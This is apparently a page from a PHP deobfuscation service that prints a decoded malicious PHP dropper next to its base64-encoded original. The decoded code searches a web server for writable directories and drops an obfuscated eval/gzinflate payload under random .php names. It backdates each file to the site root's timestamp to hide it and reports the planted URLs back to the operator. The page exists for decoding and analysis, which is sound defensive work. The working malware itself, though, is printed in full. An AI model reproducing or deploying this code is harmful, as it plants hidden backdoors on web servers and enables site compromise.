Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php create_function('', base64_decode('fSBpZighZGVmaW5lZCgiUEhQX0VPTCIpKQp7CiAgICBkZWZ..

Decoded Output download

<?php if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "
");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

function generateRandomString($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString . ".php";
}

$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1tK3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VEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7";
$payload_name = "";

srand(time());

/////////////////////////////////////////////////////////
function comparer($a, $b)
{
    return strlen($a)-strlen($b);
}

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function GetPathDiff($base_path, $full_path)
{
    $pos = strpos($full_path, $base_path);

    if ($pos === FALSE)
    {
        return FALSE;
    }

    return substr($full_path, $pos + strlen($base_path));
}

function GetWritableDirs()
{
    $res = Array();

    $analysys_queue = Array();

    $analysys_queue[] = GetDocRoot();

    $self_path = $_SERVER['SCRIPT_FILENAME'];
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
    {
        $self_path = substr($self_path, 0, $slash);

        if ($self_path == GetDocRoot())
        {
            break;
        }

        if (strlen($self_path))
        {
            $analysys_queue[] = $self_path;
        }
    }

    foreach ($analysys_queue as $current_dir)
    {
        if (!in_array($current_dir, $res))
        {
            $res = array_merge($res, GetDirectoryList($current_dir));
        }
    }
    $res = array_merge($analysys_queue, $res);

    return CheckWritable(array_unique($res));
}

function CheckWritable($dir_list)
{
    $dir_list_writable = Array();

    foreach ($dir_list as $dir)
    {
        if (@is_writable($dir) == TRUE)
        {
            $dir_list_writable[] = $dir;
        }
    }

    return $dir_list_writable;
}

function GetDirectoryList($dir, $depth=1000)
{

    $result = array();
    $dir_count = 0;

    if ($depth == 0)
    {
        return $result;
    }

    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/');
    $h = @opendir($dir);
    if ($h === FALSE)
    {
        return $result;
    }

    while (($f = readdir($h)) !== FALSE)
    {
        if ($f !== '.' and $f !== '..')
        {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir))
            {
                $dir_count += 1;

                if ($dir_count >= $depth)
                {
                    break;
                }

                $result[] = $current_dir;
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
            }
        }
    }

    closedir($h);

    return $result;
}

function GetDocRoot()
{
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE)
    {
        return $_SERVER['DOCUMENT_ROOT'];
    }
    elseif ($docroot_end === 0)
    {
        return "/";
    }
    else
    {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}

function GetPayload($payload)
{
    $current_payload = base64_decode($payload);

    return $current_payload;
}

function WritePayload($path, $payload)
{
    if (!file_exists($path))
    {
        if (file_put_contents($path, GetPayload($payload)) != FALSE)
        {
            return TRUE;
        }

    }

    return FALSE;
}

////////////////////////////////////////////////////////////////////////////////////////////

# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();

if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
    if (!($base_local_path_time = @stat($base_local_path."/index.php")))
    {
        if (!($base_local_path_time = @stat($base_local_path."/index.html")))
        {
            if (!($base_local_path_time = @stat($base_local_path."/..")))
            {
                if (!($base_local_path_time = @stat($base_local_path)))
                {
                    $base_local_path_time = Array();
                    $base_local_path_time['mtime'] = time();
                }
            }
        }
    }
}

$base_local_path_time = $base_local_path_time['mtime'];

$dir_list_writable = GetWritableDirs();

if (count($dir_list_writable) == 0)
{
    echo "URL#STATUS_UNWRITABLE";
    exit();
}

usort($dir_list_writable, 'comparer'); # sort directory by len

$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0,sizeof($dir_list_writable))];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir)
{
    // if payload name is set, no more one try to upload on current dir
    //for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0)
        {
            $temp_payload_name = generateRandomString();
        }
        else
        {
            $temp_payload_name = $payload_name;
        }

        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;

        $uri_path = GetPathDiff($base_local_path, $full_payload_name);
        if (strpos($uri_path, $temp_payload_name) === false)
        {
            $uri_path = $uri_path . "/"  . $temp_payload_name;
        }
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);

        if (WritePayload($full_payload_name, $payload_file))
        {
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder
            chmod($full_payload_name, 0755);
            echo "URL#http://" . $full_uri . PHP_EOL;
            $good=TRUE;
            $good_counter++;
            if ($good_counter >1)
            {
                //unlink("dfaonfpfkwg.php");
                echo "#CCCURL";
                exit();
            }
        }
    }
}
if(!$good)
    echo "URL#STATUS_CANTUPLOAD#CCCURL";
echo "#CCCURL";
//unlink("dfaonfpfkwg.php");
exit(); {

Did this file decode correctly?

Original Code


<?php create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AoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKICAgIHsKICAgICAgICBpZiAoJGYgIT09ICcuJyBhbmQgJGYgIT09ICcuLicpCiAgICAgICAgewogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAiJGRpci8kZiI7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGN1cnJlbnRfZGlyKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGRpcl9jb3VudCArPSAxOwoKICAgICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID49ICRkZXB0aCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkcmVzdWx0W10gPSAkY3VycmVudF9kaXI7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gYXJyYXlfbWVyZ2UoJHJlc3VsdCwgR2V0RGlyZWN0b3J5TGlzdCgkY3VycmVudF9kaXIsICRkZXB0aCAvIDEwKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgY2xvc2VkaXIoJGgpOwoKICAgIHJldHVybiAkcmVzdWx0Owp9CgpmdW5jdGlvbiBHZXREb2NSb290KCkKewogICAgJGRvY3Jvb3RfZW5kID0gc3RycnBvcygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKICAgIGlmICgkZG9jcm9vdF9lbmQgPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwogICAgfQogICAgZWxzZWlmICgkZG9jcm9vdF9lbmQgPT09IDApCiAgICB7CiAgICAgICAgcmV0dXJuICIvIjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgMCwgJGRvY3Jvb3RfZW5kKTsKICAg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25hbWUsICRiYXNlX2xvY2FsX3BhdGhfdGltZSk7IC8vIHNldCBsYXN0IG1vZGlmaWNhdGlvbiB0aW1lIGFzIHJvb3QgZm9sZGVyCiAgICAgICAgICAgIGNobW9kKCRmdWxsX3BheWxvYWRfbmFtZSwgMDc1NSk7CiAgICAgICAgICAgIGVjaG8gIlVSTCNodHRwOi8vIiAuICRmdWxsX3VyaSAuIFBIUF9FT0w7CiAgICAgICAgICAgICRnb29kPVRSVUU7CiAgICAgICAgICAgICRnb29kX2NvdW50ZXIrKzsKICAgICAgICAgICAgaWYgKCRnb29kX2NvdW50ZXIgPjEpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vdW5saW5rKCJkZmFvbmZwZmt3Zy5waHAiKTsKICAgICAgICAgICAgICAgIGVjaG8gIiNDQ0NVUkwiOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CmlmKCEkZ29vZCkKICAgIGVjaG8gIlVSTCNTVEFUVVNfQ0FOVFVQTE9BRCNDQ0NVUkwiOwplY2hvICIjQ0NDVVJMIjsKLy91bmxpbmsoImRmYW9uZnBma3dnLnBocCIpOwpleGl0KCk7IHs='));

Function Calls

create_function 1
base64_decode 1

Variables

None

Stats

MD5 16715decb123580beccca52c48a1dd06
Eval Count 1
Decode Time 199 ms